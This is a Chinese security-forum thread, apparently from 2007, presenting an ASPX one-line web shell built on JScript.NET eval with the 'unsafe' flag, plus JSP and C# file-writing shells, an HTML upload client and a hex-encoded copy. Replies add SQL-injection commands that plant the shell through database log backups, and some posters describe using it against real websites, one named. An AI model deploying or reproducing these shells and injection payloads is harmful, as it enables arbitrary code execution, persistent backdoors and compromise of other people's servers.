发新话题
打印

[原创]ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)

[原创]ASPX一句话木马--终极版&详细分析(ASP-EXECUTE VS ASPX-EVAL)

软件作者:kj021320
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

注意:本文章首发http://blog.csdn.net/kj021320/archive/2007/08/04/1726442.aspx,后由原创作者kj021320友情提交到邪恶八进制信息安全团队论坛。


首先回顾一下以前ASP一句话的经典木马吧!

<%if request("nonamed")<>"" then execute request("nonamed")%>

VBS中execute就是动态运行指定的代码而JSCRIPT中也同样有eval函数可以实现,也就是说ASP一句话木马也有个版本是采用JSCRIPT的 eval的!网上也有例子我就不多说了!.....

然后解析语言终究发展成为中间代码例如java .net 动态执行也就不存在了!

之前ASP中正常情况只支持VBS JSCRIPT(像python perlscript 这些特例的我就不说了)...

如今ASPX中 所支持的VBS的高级版本VB已经不存在execute这个独有的方法....真遗憾....

同时Jscript 也一样转向高级版本Jscript.net 但是我们需要的eval函数还是生存下来的!script child有幸了...

先埋下一个伏笔吧~ 先谈谈如今的中间语言WEB应用中的一句话

JSP :<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%> 这个是我自己写的 要弹要说,都是大家的 呵呵!我不发言.....

ASPX:<%@ Page Language="C#" validateRequest="false" %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath("images.aspx"),false);ow.Write(Request.Params["l"]);ow.Close()%>这个不知道是谁的作品,感觉性质有点像我的JSP一句话了!不过还是把简单的shell实现了!支持ing....

两个一句话大体都一样 调用类把 接收的都写到文件!简单说就是对文件写操作而已!~昔日ASP一句话的光辉 如今在中间语言的后门中给限制得荡然无存~~错!......ASPX C/S木马我们一样可以实现!因为有Jscript.net的存在!上面所说到的eval函数还生存着!~
OK我们先来实现
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["nonamed"]));%>
这样?恩!可以拿去尝试了~ 保存为 text.aspx 然后提交
http://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();
打印出当前时间...Sat Aug 4 20:05:20 UTC+8 2007
貌似OK了哦! 呵呵 我们再试
http://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");
发现报告错误了!....(我就是因为卡在这里,所以折腾了几个月,不然这文章早出炉了!在这里感谢一下 闇の術士 QQ:4659675 欢迎大家找他学习 ...哈)
错误原因
{
安全性异常
说明: 应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限,请与系统管理员联系,或在配置文件中更改该应用程序的信任级别。
异常详细信息: System.Security.SecurityException: 请求失败。
}
为什么会这样呢?OK我们找到 MS文档

往下面看

http://msdn.microsoft.com/librar ... /jsmscStartPage.asp

JScript .NET  


JScript .NET 的新增功能
JScript .NET 是下一代的 Microsoft JScript 语言,它是使用 Web 语言方便快捷地访问 Microsoft .NET 平台的一种方法。JScript 的主要作用是使用 ASP.NET 构造 Web 站点和使用 .NET Framework 脚本自定义应用程序。

JScript .NET 与 ECMAScript 标准兼容,而且它还具有 ECMAScript 未指定的其他功能,例如,真正的编译代码、通过符合“通用语言规范”(CLS) 而实现的跨语言支持,以及对 .NET Framework 的访问。Visual Studio .NET 2002 中的 JScript .NET 版本充分利用了 .NET Framework 本身所具有的安全性,而 JScript .NET 2003 为 eval 方法添加了受限安全上下文,从而进一步增强了安全性。

在 JScript .NET 中的几种新功能旨在充分利用 CLS,这是用来标准化数据类型、对象公开方式、对象互用方式等内容的一组规则。任何符合 CLS 的语言都可以使用在 JScript .NET 中创建的类、对象和组件。作为 JScript 开发人员,您可以从其他符合 CLS 的编程语言访问类、组件和对象,而无需考虑语言特定的差异(比如数据类型)。JScript .NET 程序使用的一些 CLS 功能包括命名空间、属性、引用参数和本机数组。

下面是 JScript .NET 中的一些新功能:

JScript .NET 2003 的新增功能
eval 方法的受限安全上下文
现在,为了增强安全性,不管调用方的权限是什么,内置的 eval 方法都默认下在受限安全上下文中运行脚本。调用 eval 时如果将“unsafe”作为第二个可选参数,会导致脚本使用调用方的权限运行,这样就会允许访问文件系统、网络或用户界面。有关更多信息,请参见 eval 方法。
JScript .NET 2002 的新增功能
基于类的对象
JScript .NET(像 JScript 一样)通过基于原型的对象支持继承。JScript .NET 还允许声明定义对象数据和行为的类,从而支持基于类的对象。在 JScript .NET 中创建的类可由任何 .NET 语言使用和扩展。类可以继承基类的属性和方法。可以对类和类成员应用几种属性,修改它们的行为和可见性。有关更多信息,请参见基于类的对象。
JScript 数据类型
在 JScript .NET 中(像 JScript 一样),可以在编写程序时不指定变量的数据类型。JScript .NET 也可用作一种强类型化语言,其中所有变量都绑定到特定数据类型,或者您还可以混合使用类型化和非类型化变量。JScript .NET 提供了许多新的数据类型。还可以将类和 .NET 类型用作数据类型。有关更多信息,请参见 JScript 数据类型。
条件编译
指令可控制 JScript .NET 程序的编译。例如,@debug 指令可以为脚本的特定部分打开或关闭调试信息的发布。有关更多信息,请参见 @debug 指令。@position 指令为调试器设置当前行的行号。有关更多信息,请参见 @position 指令。如果正在编写将合并到其他脚本中的代码,那么这两个指令都是有用的。有关更多信息,请参见条件编译。
JScript 命名空间
命名空间通过将类、接口和方法组织成层次结构来防止命名冲突。在 JScript .NET 中,您可以定义自己的命名空间。还可以使用 JScript .NET 访问任何 .NET Framework 命名空间,包括自己定义的那些命名空间。包语句允许打包相关的类以实现方便的部署和避免出现命名冲突。有关更多信息,请参见 package 语句。导入语句使得 .NET Framework 命名空间可用于某个脚本,这样该脚本就能访问命名空间中的类和接口。有关更多信息,请参见 import 语句。
JScript 变量和常数
JScript .NET 引入了一个 Const 语句,用来定义表示常数值的标识符。有关更多信息,请参见 JScript 变量和常数。
枚举
JScript .NET 引入了 Enum 语句,允许构造枚举数据类型。利用枚举,可以为您的数据类型值指定有用的名称。有关更多信息,请参见 enum 语句。
再来找到 eval方法

http://msdn.microsoft.com/librar ... /html/jsmtheval.asp

JScript .NET  


eval 方法
计算 JScript 代码并执行。

function eval(codeString : String [, override : String])
参数
codeString
必选。包含有效 JScript 代码的字符串。
override
可选。确定要应用于 codeString 中代码的安全权限的字符串。
备注
eval 函数允许动态执行 JScript 源代码。

传递给 eval 方法的代码执行时所在的上下文和调用 eval 方法时的上下文一样。请注意,在 eval 语句中定义的新变量或类型对于封闭程序是不可见的。

除非将字符串“unsafe”传递为第二个参数,否则,传递至 eval 方法的代码在受限安全上下文中执行。受限安全上下文禁止访问系统资源,如文件系统、网络或用户界面。如果代码试图访问这些资源,则会产生安全异常。

当 eval 的第二个参数为字符串“unsafe”时,传递给 eval 方法的代码在调用代码所在的安全上下文中执行。第二个参数是区分大小写的,因此,字符串“Unsafe”或“UnSAfE”不会重写受限安全上下文。

安全说明  在不安全的模式下,eval 只能用于执行从值得信任的源获得的代码字符串。





原来eval 给限制了安全性~呵呵那我们就照他说的去做加入 unsafe参数实现
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
OK
提交http://127.0.0.1/test.aspx?z=Server.MapPath(".")
打印出 F:\nonamed\DOTNETPROJECT 是我当前的WEB目录 成功了! 热泪ing~~~ 也就是你提交什么上去他就运行什么 恢复当年ASP后门的效果了!~ -_-
Response.Write可以不要!不过我为了回显 所以加上去了 :)
OK 以下我们构造出 一句话的客户端吧!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPX one line Code Client</TITLE>
</HEAD>
<BODY>
<form action=http://127.0.0.1/test.aspx method=post>
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
</textarea>
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value=提交>
</BODY>
</HTML>

全文完.....

DNA编程--AI智能程式

TOP

汗 有点像JScript .NET eval函数分析

TOP

看啊看啊看,终于看到后面那个服务端
0x3c00250040002000500061006700650020004c0061006e00670075006100670065003d0022004a00730063007200690070007400220025003e003c00250052006500730070006f006e00730065002e005700720069007400650028006500760061006c00280052006500710075006500730074002e004900740065006d005b0022007a0022005d002c00220075006e0073006100660065002200290029003b0025003e00

人品不好,试了两次,all unsuccess
H.U.C For Ever

TOP

随便到火山主机找个虚拟空间可以试
DNA编程--AI智能程式

TOP

经测试成功,真不愧为aspx下最简一句话木马
每个人都有属于自已的世界,人生因此而精彩,HACK就是我的世界!

TOP

测试成功!编写的思路8错哈

记得以前都是用lake2的那个一句话,有很大的局限性,现有就好了
小鸡鸡重出江湖了~~!!

TOP

谁来写个好用点的c端。
楼主的c端提交大马的时候,出错了。
测试了两台,都是出错。

TOP

6楼的朋友! 你肯定是写入比较大的文件或者是 存在HTML标签
留意 以前的一句话C#版本 有这个代码 就是不验证提交内容
validateRequest="false" 但是我写这个的时候没有加入这个 所以你提交存在恶意的时候就会出现问题

所以你用这个马子的时候 一般都是留着微型后门....或者你先写入
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["z"],"unsafe"));%>

这个 然后再提交 更大的马子 OK~
DNA编程--AI智能程式

TOP

测试成功

TOP

&#39;;alter database xxx set RECOVERY FULL--
&#39;;create table cmd (a image)--
&#39;;backup log xxx to disk = &#39;c:\\cmd1&#39; with init--
&#39;;insert into cmd (a) values (&#39;<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>&#39;)--
&#39;;backup log police to disk = &#39;c:\Inetpub\wwwroot\hack.aspx&#39;--

貌似不能用于LOG备份..从客户端提交呀..有人测试成功了吗?

TOP

10楼的 你再测试多次

alter database Northwind set RECOVERY FULL--
create table cmd (a image)--
backup log Northwind to disk = &#39;c:\cmd1&#39; with init--
insert into cmd (a) values (0x323C25402050616765204C616E67756167653D224A736372697074222076616C6964617465526571756573743D2266616C736522253E3C25526573706F6E73652E5772697465286576616C28526571756573742E4974656D5B227A225D2C22756E736166652229293B253E)--
backup log Northwind to disk = &#39;c:\hack.aspx&#39;--
drop table cmd--

备份完了 打开备份的ASPX文件看看 代码是否在里面嘛~然后再找找出现什么问题!
DNA编程--AI智能程式

TOP

我是直接搞的站呀..麻痹了..哪鸟站目录只能解释ASPX...其它脚本没解释不了..没有用环境测试的....备份出来没效果跟ASP没插入主句话一样的显示...
嗯..再测试下你这个换成十六进制的..郁闷..

TOP

我在本地测试的时候也发觉备份出来的时候,头一句<%@ Page的< 出现问题!所以会出错不知道你那边是不是那样~~~ 所以我就直接加了几个空格在前面了! HEX的就是
0x323C25402050616765204C616E67756167653D224A736372697074222076616C6964617465526571756573743D2266616C736522253E3C25526573706F6E73652E5772697465286576616C28526571756573742E4974656D5B227A225D2C22756E736166652229293B253E

第一32 是空格来的~~
DNA编程--AI智能程式

TOP

成功了吗..能从客户端上提交成功了吗???的步骤详细写一下耶...以后遇到站点只支持ASPX时又能这样LOG备份了耶

TOP

一句话地址:
http://www.xxx.com/web/aspx.aspx
提交
http://www.xxx.com/web/aspx.aspx?z=Server.MapPath(".")
显示路径D:\WEB\123

但用客户端
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPX one line Code Client</TITLE>
</HEAD>
<BODY>
<form action=http://www.xxx.com/web/aspx.aspx method=post>
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
</textarea>
<textarea name=l cols=120 rows=10 width=45>your code</textarea><BR><center><br>
<input type=submit value=提交>
</BODY>
</HTML>
提交大马时,有返回页面 但提示错误


咱回事?

TOP

引用:
你肯定是写入比较大的文件时 存在HTML标签
留意 以前的一句话C#版本 有这个代码 就是不验证提交内容
validateRequest="false" 但是我写这个的时候没有加入这个 所以你提交存在恶意的时候就会出现问题

所以你用这个马子的时候 一般都是留着微型后门....或者你先写入
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["z"],"unsafe"));%>

这个 然后再提交 更大的马子 OK~
DNA编程--AI智能程式

TOP

上传
复制内容到剪贴板
代码:
<%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%>
得到地址
http://www.xxx.com/ad/_vti_cnf/test.aspx

http://www.yancity.com/ad/_vti_cnf/test.aspx?nonamed=var%20mydate%20=%20new%20Date();[/url]
成功显示时间

http://www.yancity.com/ad/_vti_cnf/test.aspx?nonamed=Server.MapPath(".");
成功显示路径
复制内容到剪贴板
代码:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> ASPX one line Code Client</TITLE>
</HEAD>
<BODY>
<form action=http://www.yancity.com/ad/_vti_cnf/test.aspx method=post>
<textarea name=z cols=120 rows=10 width=45>
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["z"]);
nonamed.Close();
</textarea>
<textarea name=l cols=120 rows=10 width=45><%@ Page Language="Jscript"%><%Response.Write(eval(Request.Item["z"],"unsafe"));%></textarea><BR><center><br>
<input type=submit value=提交>
</BODY>
</HTML>
客户段提交后,显示http://www.yancity.com/ad/_vti_cnf/test.aspx
无出错现象,但是不成功

上传
复制内容到剪贴板
代码:
^<%25@ Page Language=^"Jscript^" validateRequest=^"false^" %25^>^<%25Response.Write(eval(Request.Item[^"z^"],^"unsafe^"));%25^>
地址
http://www.yancity.com/ad/_vti_cnf/test.aspx

出现
System.IO.StreamWriter

客户端提交依然
System.IO.StreamWriter

TOP

http://www.yancity.com/ad/_vti_cnf/nonamed.aspx

我写进去了!
提交了之后没有跳转不代表没写入!
DNA编程--AI智能程式

TOP

恩,可以写入的,我之前就有asp马了,只是想练习下这个
,可是aspx马不能用啊..有没哪个大哥给解释下呢

TOP

无语.................
eval(Request.Item["z"],"unsafe") 就是接收key为 z的东西 然后运行啊!
运行的结果就给response.write出来!
然后你提交
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();

就是像本目录写入一个文件名字为 nonamed.aspx 写入内容则 是key为 l 的内容
-_- 迟点再开发一个C/S版本的ASPXSHELL吧!!
DNA编程--AI智能程式

TOP

发新话题